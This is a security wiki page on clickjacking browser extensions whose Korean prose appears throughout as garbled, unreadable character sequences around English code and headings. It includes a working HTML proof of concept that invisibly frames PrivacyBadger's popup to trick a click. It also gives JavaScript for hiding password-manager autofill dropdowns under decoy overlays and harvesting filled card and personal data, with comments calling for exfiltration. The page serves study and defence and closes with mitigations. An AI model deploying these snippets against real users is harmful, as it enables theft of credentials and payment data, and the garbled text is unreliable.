BrowExt - ClickJacking
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
์ด ํ์ด์ง๋ ๋ธ๋ผ์ฐ์ ํ์ฅ(Extension)์ ClickJacking ์ทจ์ฝ์ ์ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ค๋ฃน๋๋ค.
ClickJacking์ด ๋ฌด์์ธ์ง ๋ชจ๋ฅธ๋ค๋ฉด ๋ค์์ ํ์ธํ์ธ์:
ํ์ฅ(extensions)์ manifest.json ํ์ผ์ ํฌํจํ๋ฉฐ, ํด๋น JSON ํ์ผ์๋ web_accessible_resources๋ผ๋ ํ๋๊ฐ ์์ต๋๋ค. ๋ค์์ the Chrome docs์์ ์ด์ ๋ํด ์ค๋ช
ํ ๋ด์ฉ์
๋๋ค:
์ด๋ฌํ ๋ฆฌ์์ค๋ค์ ์นํ์ด์ง์์
chrome-extension://[PACKAGE ID]/[PATH]ํํ์ URL์ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ๋ฉฐ, ์ด๋extension.getURL method๋ก ์์ฑํ ์ ์์ต๋๋ค. ํ์ฉ ๋ชฉ๋ก์ ๋ฑ์ฌ๋ ๋ฆฌ์์ค๋ ์ ์ ํ CORS ํค๋์ ํจ๊ป ์ ๊ณต๋๋ฏ๋ก XHR๊ณผ ๊ฐ์ ๋ฉ์ปค๋์ฆ์ ํตํด ์ด์ฉํ ์ ์์ต๋๋ค.1
๋ธ๋ผ์ฐ์ ํ์ฅ ๋ด์ web_accessible_resources ๋ ๋จ์ํ ์น์ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ๊ฒ๋ง์ด ์๋๋ผ ํ์ฅ์ ๊ณ ์ ๊ถํ์ผ๋ก ๋์ํฉ๋๋ค. ์ด๋ ๋ค์๊ณผ ๊ฐ์ ๋์์ด ๊ฐ๋ฅํจ์ ์๋ฏธํฉ๋๋ค:
- ํ์ฅ์ ์ํ ๋ณ๊ฒฝ
- ์ถ๊ฐ ๋ฆฌ์์ค ๋ก๋
- ๋ธ๋ผ์ฐ์ ์ ์ด๋ ์ ๋ ์ํธ์์ฉ
ํ์ง๋ง ์ด ๊ธฐ๋ฅ์ ๋ณด์ ์ํ์ ์ด๋ํฉ๋๋ค. ๋ง์ฝ web_accessible_resources ๋ด๋ถ์ ๋ฆฌ์์ค๊ฐ ์ค์ํ ๊ธฐ๋ฅ์ ํฌํจํ๊ณ ์๋ค๋ฉด, ๊ณต๊ฒฉ์๋ ํด๋น ๋ฆฌ์์ค๋ฅผ ์ธ๋ถ ์นํ์ด์ง์ ์๋ฒ ๋ํ ์ ์์ต๋๋ค. ์ฌ์ฉ์๊ฐ ํด๋น ํ์ด์ง๋ฅผ ๋ฐฉ๋ฌธํ์ ๋ ๋ฌด์ฌ์ฝ ์ด ์๋ฒ ๋๋ ๋ฆฌ์์ค๋ฅผ ํ์ฑํํ๋ฉด, ํ์ฅ์ ๊ถํ๊ณผ ๊ธฐ๋ฅ์ ๋ฐ๋ผ ์๋์น ์์ ๊ฒฐ๊ณผ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค.
PrivacyBadger ์์
PrivacyBadger ํ์ฅ์์๋ skin/ ๋๋ ํฐ๋ฆฌ๊ฐ ๋ค์๊ณผ ๊ฐ์ด web_accessible_resources๋ก ์ ์ธ๋ ๊ฒ๊ณผ ๊ด๋ จ๋ ์ทจ์ฝ์ ์ด ํ์ธ๋์์ต๋๋ค (Check the original blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
์ด ๊ตฌ์ฑ์ ์ ์ฌ์ ์ธ ๋ณด์ ๋ฌธ์ ๋ฅผ ์ด๋ํ์ต๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก, ๋ธ๋ผ์ฐ์ ์ PrivacyBadger ์์ด์ฝ๊ณผ ์ํธ์์ฉํ ๋ ๋ ๋๋๋ skin/popup.html ํ์ผ์ด iframe ์์ ํฌํจ๋ ์ ์์์ต๋๋ค. ์ด ํฌํจ์ ์ฌ์ฉ์๋ฅผ ์์ฌ ์๋์น ์๊ฒ โDisable PrivacyBadger for this Websiteโ๋ฅผ ํด๋ฆญํ๋๋ก ์ ๋ํ๋ ๋ฐ ์
์ฉ๋ ์ ์์์ต๋๋ค. ์ด๋ฌํ ์กฐ์น๋ PrivacyBadger ๋ณดํธ๋ฅผ ๋นํ์ฑํํ์ฌ ์ฌ์ฉ์์ ํ๋ผ์ด๋ฒ์๋ฅผ ์ํํ๊ณ ์ถ์ ์ด ์ฆ๊ฐํ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค. ์ด ๊ณต๊ฒฉ์ ์๊ฐ์ ๋ฐ๋ชจ๋ ClickJacking ๋น๋์ค ์์ ์์ ํ์ธํ ์ ์์ต๋๋ค: https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
์ด ์ทจ์ฝ์ ์ ํด๊ฒฐํ๊ธฐ ์ํด ๋จ์ํ ํด๊ฒฐ์ฑ
์ ์ ์ฉํ์ต๋๋ค: web_accessible_resources ๋ชฉ๋ก์์ /skin/*์ ์ ๊ฑฐํ์ต๋๋ค. ์ด ๋ณ๊ฒฝ์ผ๋ก skin/ ๋๋ ํฐ๋ฆฌ์ ์ฝํ
์ธ ๊ฐ ์น ์ ๊ทผ ๊ฐ๋ฅํ ๋ฆฌ์์ค๋ฅผ ํตํด ์ ๊ทผ๋๊ฑฐ๋ ์กฐ์๋์ง ์๋๋ก ๋ณด์ฅํ์ฌ ์ํ์ ํจ๊ณผ์ ์ผ๋ก ์ํํ์ต๋๋ค.
์์ ์ ๊ฐ๋จํ์ต๋๋ค: web_accessible_resources์์ /skin/*์ ์ ๊ฑฐ.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Example
A metamask์ ClickJacking์ ๋ํ ๋ธ๋ก๊ทธ ๊ฒ์๋ฌผ์ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค. In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was https: or http: (not chrome: for example):
.png)
Metamask ํ์ฅ ํ๋ก๊ทธ๋จ์์ ์์ ๋ ๋ ๋ค๋ฅธ ClickJacking ์ฌ๋ก๋ ์ฌ์ฉ์๊ฐ โweb_accessible_resourcesโ: [โinpage.jsโ, โphishing.htmlโ] ๋๋ฌธ์ ํ์ด์ง๊ฐ phishing์ผ๋ก ์์ฌ๋ ๋ Click to whitelistํ ์ ์์๋ค๋ ๊ฒ์
๋๋ค. ๊ทธ ํ์ด์ง๊ฐ Clickjacking์ ์ทจ์ฝํ๊ธฐ ๋๋ฌธ์, ๊ณต๊ฒฉ์๋ ํผํด์๊ฐ ๋์น์ฑ์ง ๋ชปํ๊ฒ ์ ์์ ์ธ ๊ฒ์ ๋ณด์ฌ์ฃผ์ด Click to whitelist๋ฅผ ํด๋ฆญํ๊ฒ ์ ๋ํ ๋ค ๋ค์ phishing ํ์ด์ง๋ก ๋์๊ฐ ํด๋น ํ์ด์ง๊ฐ whitelist๋๋๋ก ์
์ฉํ ์ ์์์ต๋๋ค.
Steam Inventory Helper Example
๋ค์ ํ์ด์ง์์ ๋ธ๋ผ์ฐ์ ํ์ฅ ํ๋ก๊ทธ๋จ์ XSS๊ฐ ์ด๋ป๊ฒ ClickJacking ์ทจ์ฝ์ ๊ณผ ์ฐ์๋์๋์ง ํ์ธํ์ธ์:
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
๊ณ ์ ์ ์ธ ํ์ฅ ํ๋ก๊ทธ๋จ clickjacking์ ์๋ชป ๊ตฌ์ฑ๋ web_accessible_resources๋ฅผ ์
์ฉํด ๊ถํ ์๋ HTML์ iframe์ผ๋ก ๋ก๋ํ๊ณ ์ฌ์ฉ์ ํด๋ฆญ์ ์ ๋ํฉ๋๋ค. ์๋ก์ด ์ ํ์ธ DOM-based extension clickjacking์ password managers๊ฐ ํ์ด์ง DOM์ ์ง์ ์ฃผ์
ํ๋ autofill dropdowns์ ํ์ ์ผ๋ก ์ผ์, ๊ทธ๊ฒ์ ํด๋ฆญ ๊ฐ๋ฅ ์ํ๋ก ์ ์งํ๋ฉด์ ์จ๊ธฐ๊ฑฐ๋ ๊ฐ๋ ค๋ฒ๋ฆฌ๋ CSS/DOM ํธ๋ฆญ์ ์ฌ์ฉํฉ๋๋ค. ํ ๋ฒ์ ๊ฐ์ ํด๋ฆญ์ผ๋ก ์ ์ฅ๋ ํญ๋ชฉ์ ์ ํํ๊ณ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์
๋ ฅ ํ๋์ ์ฑ์ ๋ฃ์ ์ ์์ต๋๋ค.
Threat model
- Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
- ํผํด์๋ password manager ํ์ฅ ํ๋ก๊ทธ๋จ์ ์ค์นํ๊ณ ์ ๊ธ ํด์ ํ ์ํ์ ๋๋ค(๋ช ๋ชฉ์ ์ ๊ฒจ ์์ด๋ ์ผ๋ถ autofill์ด ๋์ํ ์ ์์).
- ์ต์ ํ๋์ ์ฌ์ฉ์ ํด๋ฆญ์ด ์ ๋๋ฉ๋๋ค(์ค๋ฒ๋ ์ด๋ ์ฟ ํค ๋ฐฐ๋, ๋ํ์์, CAPTCHAs, ๊ฒ์ ๋ฑ).
Attack flow (manual autofill)
- ๋ณด์ด์ง ์์ง๋ง ํฌ์ปค์ค๊ฐ ๊ฐ๋ฅํ form ์ฝ์ (login/PII/credit-card ํ๋).
- ์ ๋ ฅ ํ๋์ ํฌ์ปค์ค๋ฅผ ์ค์ ํ์ฅ ๊ธฐ๋ฅ์ autofill dropdown์ ํด๋น ํ๋ ๊ทผ์ฒ์ ๋ถ๋ฌ์ต๋๋ค.
- ํ์ฅ UI๋ฅผ ์จ๊ธฐ๊ฑฐ๋ ๊ฐ๋ฆฌ๋ ์ํธ์์ฉ ๊ฐ๋ฅ ์ํ๋ ์ ์งํฉ๋๋ค.
- ์จ๊ฒจ์ง dropdown ์๋์ ๊ทธ๋ด๋ฏํ ์ปจํธ๋กค์ ์ ๋ ฌํ์ฌ ํญ๋ชฉ ์ ํ์ ์ ๋ํ๋ ํด๋ฆญ์ ๊ฐ์ ํฉ๋๋ค.
- ๊ณต๊ฒฉ์ ํผ์์ ์ฑ์์ง ๊ฐ์ ์ฝ์ด๋ด์ด ์ ์ถํฉ๋๋ค.
How to hide the autofill UI
- Extension element
- Root element opacity (generic):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- open ShadowRoot ๋ด๋ถ์ ์์ ์์ (๋์ ํ๊ทธ, ๋ด๋ถ iframe ์จ๊ธฐ๊ธฐ):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- ๋ถ๋ชจ ์์
- BODY/HTML opacity ๊ธฐ๋ฒ์ผ๋ก ํ์ด์ง๊ฐ ์ ์์ ์ผ๋ก ๋ณด์ด๋ ๋์ extension UI๋ฅผ ๋ณด์ด์ง ์๊ฒ ๋ง๋ค๊ธฐ (์: ์คํฌ๋ฆฐ์ท ๋ฐฐ๊ฒฝ):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- ์ค๋ฒ๋ ์ด
- ๋ถ๋ถ ์ค๋ฒ๋ ์ด: ๋๋กญ๋ค์ด์ด ํด๋ฆญ ๊ฐ๋ฅํ๋๋ก ๋ช ํฝ์ ๋ง ๋ณด์ด๊ฒ ํ๊ณ ๋๋จธ์ง๋ฅผ ๊ฐ๋ฆฐ๋ค (๊ณต๊ฒฉ์ ์ค๋ฒ๋ ์ด๊ฐ DOM์์ ๋ง์ง๋ง ์์์ด๋ฉฐ ์ต๋ z-index์ธ์ง ํ์ธํ๊ฑฐ๋ Top Layer๋ฅผ ์ฌ์ฉ).
- pointer-events:none์ ์ฌ์ฉํ ์ ์ฒด ์ค๋ฒ๋ ์ด๋ก ํด๋ฆญ์ด ์จ๊ฒจ์ง ๋๋กญ๋ค์ด์ผ๋ก ํต๊ณผํ๊ฒ ํ๋ค; Popover API๋ก ์ง์์ ์ผ๋ก ์ ์ง:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
ํผํด์ ํด๋ฆญ ์์น ์ง์
- Fixed placement: ์จ๊ฒจ์ง ๋๋กญ๋ค์ด์ ์ ๋ขฐํ ๋งํ ์ปจํธ๋กค(์: โ์ฟ ํค ์๋ฝโ, โ๋ซ๊ธฐโ ๋๋ CAPTCHA ์ฒดํฌ๋ฐ์ค) ์๋์ ๊ณ ์ ๋ฐฐ์นํฉ๋๋ค.
- Follow-mouse: ํฌ์ปค์ค๋ ์ ๋ ฅ ์์๋ฅผ ์ปค์ ์๋๋ก ์ด๋์์ผ ๋๋กญ๋ค์ด์ด ์ปค์๋ฅผ ๋ฐ๋ผ์ค๊ฒ ํ๊ณ ; ์ฃผ๊ธฐ์ ์ผ๋ก ํฌ์ปค์ค๋ฅผ ์ฌ์ค์ ํ์ฌ ์ด๋๋ฅผ ํด๋ฆญํด๋ ๋จ์ผ ํด๋ฆญ์ผ๋ก ํญ๋ชฉ์ด ์ ํ๋๊ฒ ํฉ๋๋ค:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
์ํฅ ๋ฐ ์๋๋ฆฌ์ค
- Attacker-controlled site: ํ ๋ฒ์ ๊ฐ์ ํด๋ฆญ์ผ๋ก ๋๋ฉ์ธ์ ๊ตญํ๋์ง ์๋ ์ ์ฉ์นด๋ ์ ๋ณด(๋ฒํธ/์ ํจ๊ธฐ๊ฐ/CVC)์ ๊ฐ์ธ ์ ๋ณด(์ด๋ฆ, ์ด๋ฉ์ผ, ์ ํ๋ฒํธ, ์ฃผ์, DOB)๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค.
- Trusted site with XSS/subdomain takeover/cache poisoning: ๋ค์ค ํด๋ฆญ์ผ๋ก ์๊ฒฉ์ฆ๋ช
(username/password)๊ณผ TOTP๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค. ๋ง์ ๋งค๋์ ๊ฐ ๊ด๋ จ ํ์ ๋๋ฉ์ธ/์์ ๋๋ฉ์ธ(์:
*.example.com)์ ๊ฑธ์ณ autofill์ ์ํํ๊ธฐ ๋๋ฌธ์ ๋๋ค. - Passkeys: RP๊ฐ WebAuthn ์ฑ๋ฆฐ์ง๋ฅผ ์ธ์ ์ ๋ฐ์ธ๋ฉํ์ง ์์ผ๋ฉด XSS๊ฐ ์๋ช ๋ assertion์ ๊ฐ๋ก์ฑ ์ ์์ต๋๋ค; DOM-based clickjacking์ passkey ํ๋กฌํํธ๋ฅผ ์จ๊ฒจ ์ฌ์ฉ์์ ํ์ธ ํด๋ฆญ์ ์ ๋ํฉ๋๋ค.
์ ํ ์ฌํญ
- ์ต์ํ ํ๋์ ์ฌ์ฉ์ ํด๋ฆญ๊ณผ ์ ์ ํ ํฝ์ ์ ๋ ฌ์ด ํ์ํฉ๋๋ค(ํ์ค์ ์ธ ์ค๋ฒ๋ ์ด๋ ํด๋ฆญ ์ ๋๋ฅผ ์ฝ๊ฒ ๋ง๋ญ๋๋ค).
- ์๋ ์ ๊ธ/๋ก๊ทธ์์์ ์ ์ฉ ์๊ฐ์ ์ค์ ๋๋ค; ์ผ๋ถ ๋งค๋์ ๋ โlockedโ ์ํ์์๋ ์ฌ์ ํ autofill์ ์ํํฉ๋๋ค.
Extension developer mitigations
- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
- Resist CSS tampering: prefer Closed Shadow DOM and monitor with
MutationObserverfor suspicious style changes on UI roots. - Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable
pointer-events:none, and useelementsFromPoint()to detect occlusion; close UI if overlays exist. - Detect suspicious
<body>/<html>opacity or style changes both pre- and post-render. - For iframe-based issues: scope MV3
web_accessible_resourcesmatchesnarrowly and avoid exposing HTML UIs; for unavoidable HTML, serveX-Frame-Options: DENYorContent-Security-Policy: frame-ancestors 'none'.
References
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


